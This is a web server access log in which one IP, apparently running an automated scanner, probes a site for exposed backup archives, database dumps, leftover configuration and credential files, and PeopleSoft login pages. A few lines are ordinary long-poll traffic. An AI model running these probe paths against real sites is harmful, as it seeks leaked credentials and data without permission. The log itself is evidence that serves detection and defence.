[09/Jan/2026:10:55:19 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /208.139.bz2 HTTP/1.1" 196
[09/Jan/2026:10:55:19 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET //installation/configuration.php.bak HTTP/1.1" 196
[09/Jan/2026:10:55:19 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /backup_2.sql.tar.gz HTTP/1.1" 196
[09/Jan/2026:10:55:19 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET //includes/config.php.dist HTTP/1.1" 196
[09/Jan/2026:10:55:19 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /psp/hr857prd_er/?cmd=login&languageCd=ENG HTTP/1.1" 196
[09/Jan/2026:10:55:19 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /nuclei.svg?yPQJA=x HTTP/1.1" 226
[09/Jan/2026:10:55:19 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /208.bz2 HTTP/1.1" 196
[09/Jan/2026:10:55:19 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET //app/etc/env.php.bak HTTP/1.1" 196
[09/Jan/2026:10:55:19 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /backup_2.sql.xz HTTP/1.1" 196
[09/Jan/2026:10:55:19 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET //includes/config.dist HTTP/1.1" 196
[09/Jan/2026:10:55:19 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /psp/CHUMPRDM/?cmd=login&languageCd=ENG HTTP/1.1" 196
[09/Jan/2026:10:55:19 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /nuclei.svg?yPQJA=x HTTP/1.1" 226
[09/Jan/2026:10:55:19 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /202.181.bz2 HTTP/1.1" 196
[09/Jan/2026:10:55:19 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET //Application/Common/Conf/config.php.bak HTTP/1.1" 196
[09/Jan/2026:10:55:19 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /backup_2.sql.zip HTTP/1.1" 196
[09/Jan/2026:10:55:19 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET //phpsso_server/caches/configs/database.php.dist HTTP/1.1" 196
[09/Jan/2026:10:55:19 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /nuclei.svg?yPQJA=x HTTP/1.1" 226
[09/Jan/2026:10:55:19 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /2026.bz2 HTTP/1.1" 196
[09/Jan/2026:10:55:19 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /psp/HR92PRD/?cmd=login&languageCd=ENG HTTP/1.1" 196
[09/Jan/2026:10:55:19 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /backup_2.sql.z HTTP/1.1" 196
[09/Jan/2026:10:55:19 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET //environments/dev/common/config/main-local.php.bak HTTP/1.1" 196
[09/Jan/2026:10:55:19 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET //phpsso_server/caches/configs/system.php.dist HTTP/1.1" 196
[09/Jan/2026:10:55:19 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /nuclei.svg?yPQJA=x HTTP/1.1" 226
[09/Jan/2026:10:55:19 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /ROOT.bz2 HTTP/1.1" 196
[09/Jan/2026:10:55:19 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /psp/cangate_1/?cmd=login&languageCd=ENG HTTP/1.1" 196
[09/Jan/2026:10:55:19 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /backup_2.sql.tar.z HTTP/1.1" 196
[09/Jan/2026:10:55:19 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET //environments/prod/common/config/main-local.php.bak HTTP/1.1" 196
[09/Jan/2026:10:55:19 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET //zb_users/c_option.php.dist HTTP/1.1" 196
[09/Jan/2026:10:55:19 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /wwwroot.bz2 HTTP/1.1" 196
[09/Jan/2026:10:55:19 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /nuclei.svg?yPQJA=x HTTP/1.1" 226
[09/Jan/2026:10:55:19 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /psp/ihprd/?cmd=login&languageCd=ENG HTTP/1.1" 196
[09/Jan/2026:10:55:19 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /backup_2.war HTTP/1.1" 196
[09/Jan/2026:10:55:19 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET //common/config/main-local.php.bak HTTP/1.1" 196
[09/Jan/2026:10:55:19 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET //e/class/config.php.dist HTTP/1.1" 196
[09/Jan/2026:10:55:19 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /htdocs.bz2 HTTP/1.1" 196
[09/Jan/2026:10:55:19 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /nuclei.svg?yPQJA=x HTTP/1.1" 226
[09/Jan/2026:10:55:19 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /psc/ps/?cmd=login&languageCd=ENG HTTP/1.1" 196
[09/Jan/2026:10:55:19 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /backup_3.tar HTTP/1.1" 196
[09/Jan/2026:10:55:19 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET //e/config/config.php.dist HTTP/1.1" 196
[09/Jan/2026:10:55:19 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET //system/config/default.php.bak HTTP/1.1" 196
[09/Jan/2026:10:55:19 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /www.bz2 HTTP/1.1" 196
[09/Jan/2026:10:55:20 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /nuclei.svg?yPQJA=x HTTP/1.1" 226
[09/Jan/2026:10:55:20 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /psp/csperf/?cmd=login&languageCd=ENG HTTP/1.1" 196
[09/Jan/2026:10:55:20 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /backup_3.7z HTTP/1.1" 196
[09/Jan/2026:10:55:20 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET //data/sql_config.php.dist HTTP/1.1" 196
[09/Jan/2026:10:55:20 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET //typo3conf/localconf.php.bak HTTP/1.1" 196
[09/Jan/2026:10:55:20 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /html.bz2 HTTP/1.1" 196
[09/Jan/2026:10:55:20 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /psp/FMPRD/?cmd=login&languageCd=ENG HTTP/1.1" 196
[09/Jan/2026:10:55:20 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /nuclei.svg?yPQJA=x HTTP/1.1" 226
[09/Jan/2026:10:55:20 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /backup_3.bz2 HTTP/1.1" 196
[09/Jan/2026:10:55:20 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET //data/bbscache/config.php.dist HTTP/1.1" 196
[09/Jan/2026:10:55:20 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET //config/config_global.php.bak HTTP/1.1" 196
[09/Jan/2026:10:55:20 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /web.bz2 HTTP/1.1" 196
[09/Jan/2026:10:55:20 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /psp/csprd/?cmd=login&languageCd=ENG HTTP/1.1" 196
[09/Jan/2026:10:55:20 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /nuclei.svg?yPQJA=x HTTP/1.1" 226
[09/Jan/2026:10:55:20 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /backup_3.gz HTTP/1.1" 196
[09/Jan/2026:10:55:20 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET //app/config/parameters.yml.dist HTTP/1.1" 196
[09/Jan/2026:10:55:20 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET //config/config_ucenter.php.bak HTTP/1.1" 196
[09/Jan/2026:10:55:20 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /webapps.bz2 HTTP/1.1" 196
[09/Jan/2026:10:55:20 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /psp/hcmprdfp/?cmd=login&languageCd=ENG HTTP/1.1" 196
[09/Jan/2026:10:55:20 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /nuclei.svg?yPQJA=x HTTP/1.1" 226
[09/Jan/2026:10:55:20 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET //app/config/parameters.php.dist HTTP/1.1" 196
[09/Jan/2026:10:55:20 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /backup_3.lz HTTP/1.1" 196
[09/Jan/2026:10:55:20 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET //textpattern/config.php.bak HTTP/1.1" 196
[09/Jan/2026:10:55:20 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /public.bz2 HTTP/1.1" 196
[09/Jan/2026:10:55:20 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /psp/HRPRODASP/?cmd=login&languageCd=ENG HTTP/1.1" 196
[09/Jan/2026:10:55:20 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /nuclei.svg?yPQJA=x HTTP/1.1" 226
[09/Jan/2026:10:55:20 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET //config/settings.inc.php.dist HTTP/1.1" 196
[09/Jan/2026:10:55:20 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /backup_3.rar HTTP/1.1" 196
[09/Jan/2026:10:55:20 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET //data/common.inc.php.bak HTTP/1.1" 196
[09/Jan/2026:10:55:20 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /public_html.bz2 HTTP/1.1" 196
[09/Jan/2026:10:55:20 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /psp/guest/?cmd=login&languageCd=ENG HTTP/1.1" 196
[09/Jan/2026:10:55:20 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /nuclei.svg?yPQJA=x HTTP/1.1" 226
[09/Jan/2026:10:55:20 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET //config/settings.old.php.dist HTTP/1.1" 196
[09/Jan/2026:10:55:20 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /backup_3.tar.gz HTTP/1.1" 196
[09/Jan/2026:10:55:20 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /uploads.bz2 HTTP/1.1" 196
[09/Jan/2026:10:55:20 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET //caches/configs/database.php.bak HTTP/1.1" 196
[09/Jan/2026:10:55:20 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /psp/CSPRD_PUB/?cmd=login&languageCd=ENG HTTP/1.1" 196
[09/Jan/2026:10:55:20 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /nuclei.svg?yPQJA=x HTTP/1.1" 226
[09/Jan/2026:10:55:20 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET //manager/includes/config.inc.php.dist HTTP/1.1" 196
[09/Jan/2026:10:55:20 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /backup_3.tar.bz2 HTTP/1.1" 196
[09/Jan/2026:10:55:21 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /website.bz2 HTTP/1.1" 196
[09/Jan/2026:10:55:21 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET //caches/configs/system.php.bak HTTP/1.1" 196
[09/Jan/2026:10:55:21 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /psp/LHCGWPRD_1/?cmd=login&languageCd=ENG HTTP/1.1" 196
[09/Jan/2026:10:55:21 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /nuclei.svg?yPQJA=x HTTP/1.1" 226
[09/Jan/2026:10:55:21 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET //app/config/parameters.ini.dist HTTP/1.1" 196
[09/Jan/2026:10:55:21 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /api.bz2 HTTP/1.1" 196
[09/Jan/2026:10:55:21 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /backup_3.xz HTTP/1.1" 196
[09/Jan/2026:10:55:21 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET //include/config.inc.php.bak HTTP/1.1" 196
[09/Jan/2026:10:55:21 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /psp/CCHIPRD_2/?cmd=login&languageCd=ENG HTTP/1.1" 196
[09/Jan/2026:10:55:21 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /nuclei.svg?yPQJA=x HTTP/1.1" 226
[09/Jan/2026:10:55:21 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET //db.php.dist HTTP/1.1" 196
[09/Jan/2026:10:55:21 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /test.bz2 HTTP/1.1" 196
[09/Jan/2026:10:55:21 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /backup_3.zip HTTP/1.1" 196
[09/Jan/2026:10:55:21 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET //include/config.php.bak HTTP/1.1" 196
[09/Jan/2026:10:55:21 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /psp/applyuth/?cmd=login&languageCd=ENG HTTP/1.1" 196
[09/Jan/2026:10:55:21 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /nuclei.svg?yPQJA=x HTTP/1.1" 226
[09/Jan/2026:10:55:21 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET //conn.php.dist HTTP/1.1" 196
[09/Jan/2026:10:55:21 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /app.bz2 HTTP/1.1" 196
[09/Jan/2026:10:55:21 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /backup_3.z HTTP/1.1" 196
[09/Jan/2026:10:55:21 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET //includes/config.php.bak HTTP/1.1" 196
[09/Jan/2026:10:55:21 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /psp/HRPRD/?cmd=login&languageCd=ENG HTTP/1.1" 196
[09/Jan/2026:10:55:21 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /nuclei.svg?yPQJA=x HTTP/1.1" 226
[09/Jan/2026:10:55:21 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET //database.php.dist HTTP/1.1" 196
[09/Jan/2026:10:55:21 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /backup_3.Z HTTP/1.1" 196
[09/Jan/2026:10:55:21 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /backup.bz2 HTTP/1.1" 196
[09/Jan/2026:10:55:21 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET //includes/config.bak HTTP/1.1" 196
[09/Jan/2026:10:55:21 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /psp/CAREERS/?cmd=login&languageCd=ENG HTTP/1.1" 196
[09/Jan/2026:10:55:21 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /nuclei.svg?yPQJA=x HTTP/1.1" 226
[09/Jan/2026:10:55:21 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET //db_config.php.dist HTTP/1.1" 196
[09/Jan/2026:10:55:21 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /backup_3.tar.z HTTP/1.1" 196
[09/Jan/2026:10:55:21 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /backup_1.bz2 HTTP/1.1" 196
[09/Jan/2026:10:55:21 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /psp/heprod_5/?cmd=login&languageCd=ENG HTTP/1.1" 196
[09/Jan/2026:10:55:21 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET //phpsso_server/caches/configs/database.php.bak HTTP/1.1" 196
[09/Jan/2026:10:55:21 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /nuclei.svg?yPQJA=x HTTP/1.1" 226
[09/Jan/2026:10:55:21 +0800] 119.136.153.211 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/51803?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767927605513 HTTP/1.1" -
[09/Jan/2026:10:55:21 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET //config.inc.php.dist HTTP/1.1" 196
[09/Jan/2026:10:55:21 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /backup_3.tgz HTTP/1.1" 196
[09/Jan/2026:10:55:21 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /backup_2.bz2 HTTP/1.1" 196
[09/Jan/2026:10:55:21 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /psp/saprod/?cmd=login&languageCd=ENG HTTP/1.1" 196
[09/Jan/2026:10:55:21 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET //phpsso_server/caches/configs/system.php.bak HTTP/1.1" 196
[09/Jan/2026:10:55:21 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /nuclei.svg?yPQJA=x HTTP/1.1" 226
[09/Jan/2026:10:55:22 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET //data/config.php.dist HTTP/1.1" 196
[09/Jan/2026:10:55:22 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /backup_3.db HTTP/1.1" 196
[09/Jan/2026:10:55:22 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET //zb_users/c_option.php.bak HTTP/1.1" 196
[09/Jan/2026:10:55:22 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /psp/hr857prd_er/?cmd=login&languageCd=ENG HTTP/1.1" 196
[09/Jan/2026:10:55:22 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /backup_3.bz2 HTTP/1.1" 196
[09/Jan/2026:10:55:22 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /nuclei.svg?yPQJA=x HTTP/1.1" 226
[09/Jan/2026:10:55:22 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET //config/config.php.dist HTTP/1.1" 196
[09/Jan/2026:10:55:22 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /backup_3.jar HTTP/1.1" 196
[09/Jan/2026:10:55:22 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /psp/CHUMPRDM/?cmd=login&languageCd=ENG HTTP/1.1" 196
[09/Jan/2026:10:55:22 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET //e/class/config.php.bak HTTP/1.1" 196
[09/Jan/2026:10:55:22 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /backup_4.bz2 HTTP/1.1" 196
[09/Jan/2026:10:55:22 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /nuclei.svg?yPQJA=x HTTP/1.1" 226
[09/Jan/2026:10:55:22 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET //index.php.dist HTTP/1.1" 196
[09/Jan/2026:10:55:22 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /backup_3.sqlite HTTP/1.1" 196
[09/Jan/2026:10:55:22 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET //e/config/config.php.bak HTTP/1.1" 196
[09/Jan/2026:10:55:22 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /psp/HR92PRD/?cmd=login&languageCd=ENG HTTP/1.1" 196
[09/Jan/2026:10:55:22 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /backups.bz2 HTTP/1.1" 196
[09/Jan/2026:10:55:22 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /nuclei.svg?yPQJA=x HTTP/1.1" 226
[09/Jan/2026:10:55:22 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET //default.php.dist HTTP/1.1" 196
[09/Jan/2026:10:55:22 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /psp/cangate_1/?cmd=login&languageCd=ENG HTTP/1.1" 196
[09/Jan/2026:10:55:22 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET //data/sql_config.php.bak HTTP/1.1" 196
[09/Jan/2026:10:55:22 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /backup_3.sqlitedb HTTP/1.1" 196
[09/Jan/2026:10:55:22 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /bin.bz2 HTTP/1.1" 196
[09/Jan/2026:10:55:22 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /nuclei.svg?yPQJA=x HTTP/1.1" 226
[09/Jan/2026:10:55:22 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET //main.php.dist HTTP/1.1" 196
[09/Jan/2026:10:55:22 +0800] 58.152.215.40 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/55136?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767927591799 HTTP/1.1" -
[09/Jan/2026:10:55:22 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /psp/ihprd/?cmd=login&languageCd=ENG HTTP/1.1" 196
[09/Jan/2026:10:55:22 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET //data/bbscache/config.php.bak HTTP/1.1" 196
[09/Jan/2026:10:55:22 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /backup_3.sql.7z HTTP/1.1" 196
[09/Jan/2026:10:55:22 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /temp.bz2 HTTP/1.1" 196
[09/Jan/2026:10:55:22 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /nuclei.svg?yPQJA=x HTTP/1.1" 226
[09/Jan/2026:10:55:22 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET //settings.php.dist HTTP/1.1" 196
[09/Jan/2026:10:55:22 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET //app/config/parameters.yml.bak HTTP/1.1" 196
[09/Jan/2026:10:55:22 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /psc/ps/?cmd=login&languageCd=ENG HTTP/1.1" 196
[09/Jan/2026:10:55:22 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /backup_3.sql.bz2 HTTP/1.1" 196
[09/Jan/2026:10:55:22 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /nuclei.svg?yPQJA=x HTTP/1.1" 226
[09/Jan/2026:10:55:22 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /bak.bz2 HTTP/1.1" 196
[09/Jan/2026:10:55:22 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET //header.php.dist HTTP/1.1" 196
[09/Jan/2026:10:55:22 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /psp/csperf/?cmd=login&languageCd=ENG HTTP/1.1" 196
[09/Jan/2026:10:55:23 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET //app/config/parameters.php.bak HTTP/1.1" 196
[09/Jan/2026:10:55:23 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /backup_3.sql.gz HTTP/1.1" 196
[09/Jan/2026:10:55:23 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /nuclei.svg?yPQJA=x HTTP/1.1" 226
[09/Jan/2026:10:55:23 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /db.bz2 HTTP/1.1" 196
[09/Jan/2026:10:55:23 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET //footer.php.dist HTTP/1.1" 196
